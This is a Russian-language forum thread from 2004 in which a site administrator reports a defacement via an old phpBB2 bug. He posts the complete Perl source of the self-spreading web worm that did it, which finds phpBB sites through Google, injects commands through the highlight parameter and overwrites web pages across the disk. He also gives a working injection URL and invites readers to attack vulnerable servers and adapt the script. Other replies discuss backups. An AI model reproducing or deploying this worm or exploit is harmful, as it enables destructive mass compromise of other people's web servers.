Привет хакерам!

И всё прочее, что касается HTML
Правила форума
Убедительная просьба юзать теги [code] при оформлении листингов.
Сообщения не оформленные должным образом имеют все шансы быть незамеченными.
Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35456
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Привет хакерам!

Непрочитанное сообщение Alex Keda » 2004-12-21 14:22:55

Сегодня утром (в 8.46) этот сайт был взломан неким кулхацкером :) Для взлома использовалась старая ошибка в форуме phpBB2 и скрипт на сервере следующего состава

Код: Выделить всё

#!/usr/bin/perl
use strict;
use Socket;

sub PayLoad();
sub DoDir($);
sub DoFile($);
sub GoGoogle();
sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };

my $generation = 14;
PayLoad() if $generation > 3;

open IN, $0 or exit;
my $self = join '', <IN>;
close IN;
unlink $0;

while(!GrabURL('http://www.google.com/advanced_search')) {

	if($generation > 3) {
		PayLoad() ;
	} else {
		exit;
	}
}

$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;


my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';


while(1) {

	exit if -e 'stop.it';

OUTER: for my $url (GoGoogle()) {

	exit if -e 'stop.it';

	$url =~ s/&highlight=.*$//;
	$url .= $tryCode;
	my $r = GrabURL($url);
	next unless defined $r;
	next unless $r =~ /$markStr/;

	while($self =~ /(.{1,20})/gs) {

		my $portion = '&highlight=%2527%252Efwrite(fopen(' . 
			str2chr($selfFileName) . ',' . str2chr('a') . '),' . str2chr($1) .
			'),exit%252e%2527';

		$url =~ s/&highlight=.*$//;
		$url .= $portion;
		next OUTER unless GrabURL($url);
	}

	my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) .
		')%252e%2527';
	$url =~ s/&highlight=.*$//;
	$url .= $syst;
	GrabURL($url);
}
}


sub str2chr($) {

	my $s = shift;

	$s =~ s/(.)/'chr(' . ord($1) . ')%252e'/seg;
	$s =~ s/%252e$//;
	return $s;
}


sub GoGoogle() {

	my @urls;

	my @ts = qw/t p topic/;

	my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' .
		'&q=allinurl%3A+%22viewtopic.php%22+%22' . 
		$ts[int(rand(@ts))] . '%3D' . int(rand(30000)) . '%22&btnG=Search';

	my $goo1st = GrabURL($startURL);

	return unless defined $goo1st;

	my $allGoo = $goo1st;

	my $r = '<td><a href=(/search\?q=.+?)' .
		'><img src=/nav_page\.gif width=16 height=26 alt="" border=0><br>\d+</a>';

	while($goo1st =~ m#$r#g) {

		$allGoo .= GrabURL('www.google.com' . $1);
	}


	while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {

		my $u = $1;
		next if $u =~ m#http://.*http://#i; # no redirects
		push(@urls, $u);
	}

	return @urls;
}


sub GrabURL($) {

	my $url = shift;
	$url =~ s#^http://##i;

	my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
	return unless defined($host) && defined($res);

	my $r = "GET $res HTTP/1.0\015\012" .
			"Host: $host\015\012" .
			"Accept: */*\015\012" .
			"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
			"Pragma: no-cache\015\012" .
			"Cache-Control: no-cache\015\012" .
			"Referer: http://" . $host . $res . "\015\012" .
			"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
			"Connection: close\015\012\015\012";

	my $port = 80;
	if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}

	my $internet_addr = inet_aton($host) or return;
	socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
	setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);
	connect(Server, sockaddr_in($port, $internet_addr)) or return;
	select((select(Server), $| = 1)[0]);
	print Server $r;
	my $answer = join '', <Server>;
	close(Server);

	return $answer;
}


sub DoFile($) {

	my $s = q{<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>This site is defaced!!!</TITLE>
</HEAD><BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR>
<ADDRESS><b>NeverEverNoSanity WebWorm generation } . $generation .q{.</b></ADDRESS>
</BODY></HTML>
};

	unlink $_[0];
	open OUT, ">$_[0]" or return;
	print OUT $s;
	close OUT;
}


sub DoDir($) {

	my $dir = $_[0];
	$dir .= '/' unless $dir =~ m#/$#;

	local *DIR;
	opendir DIR, $dir or return;

	for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {

		unless(-l $dir . $ent) {
			if(-d _) {
				DoDir($dir . $ent);
				next;
			}
		}

		if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i
			or $ent =~ /\.jsp/i or $ent =~ /\.phtm/i) {

			DoFile($dir . $ent);
		}
	}

	closedir DIR;
}


sub PayLoad() {

	my @dirs;

	eval{
		while(my @a = getpwent()) { push(@dirs, $a[7]);}
	};

	push(@dirs, '/');

	for my $l ('A' .. 'Z') {
		push(@dirs, $l . ':');
	}

	for my $d (@dirs) { DoDir($d); }
}
Ну, дырку я заделал, потом уже....
Неприятно, но не смертельно - товарищи, делайте бэкапы вовремя!
Кому не лень - можете поразвлекаться, если по нижеприведённой ссылке вывальвается список файлов сервера - его можно спокойно ломать.
http://www.адрес_сайта.ru/viewtopic.php?t=16&highlight=%2527%252esystem(chr(108)%252echr(115))%252e%2527
Можно подрихтовать вышеприведённый скрипт под свои нужды :)
Убей их всех! Бог потом рассортирует...

Хостинговая компания Host-Food.ru
Хостинг HostFood.ru
 

Услуги хостинговой компании Host-Food.ru

Хостинг HostFood.ru

Тарифы на хостинг в России, от 12 рублей: https://www.host-food.ru/tariffs/hosting/
Тарифы на виртуальные сервера (VPS/VDS/KVM) в РФ, от 189 руб.: https://www.host-food.ru/tariffs/virtualny-server-vps/
Выделенные сервера, Россия, Москва, от 2000 рублей (HP Proliant G5, Intel Xeon E5430 (2.66GHz, Quad-Core, 12Mb), 8Gb RAM, 2x300Gb SAS HDD, P400i, 512Mb, BBU):
https://www.host-food.ru/tariffs/vydelennyi-server-ds/
Недорогие домены в популярных зонах: https://www.host-food.ru/domains/

Аватара пользователя
Егор
ефрейтор
Сообщения: 50
Зарегистрирован: 2004-11-10 11:52:45
Откуда: Moscow

Непрочитанное сообщение Егор » 2004-12-23 9:58:17

Хакер нигодяй. :evil: Заблокируй его IP-адрес, чтобы к нам на форум не лазил. :twisted:

Что такое бэкапы, как понять ? :?:
Доброжелательного Вам настроения !

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35456
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Непрочитанное сообщение Alex Keda » 2004-12-23 10:04:52

:? Это когда сохреняешь все данные в другом месте. На всякий случай.
Убей их всех! Бог потом рассортирует...

Аватара пользователя
Specter
лейтенант
Сообщения: 608
Зарегистрирован: 2004-10-19 10:58:54
Откуда: Н.Н.
Контактная информация:

Непрочитанное сообщение Specter » 2004-12-24 2:11:25

Я так и думал что это скоро случится
КСЕНОН

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35456
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Непрочитанное сообщение Alex Keda » 2004-12-24 9:18:46

Не гунди! Это вирус был http://www.computerra.ru/think/sentinel/37208/
Такая вот хрень....
Убей их всех! Бог потом рассортирует...

Аватара пользователя
Specter
лейтенант
Сообщения: 608
Зарегистрирован: 2004-10-19 10:58:54
Откуда: Н.Н.
Контактная информация:

Непрочитанное сообщение Specter » 2004-12-24 9:20:15

Хорошо что избавился
КСЕНОН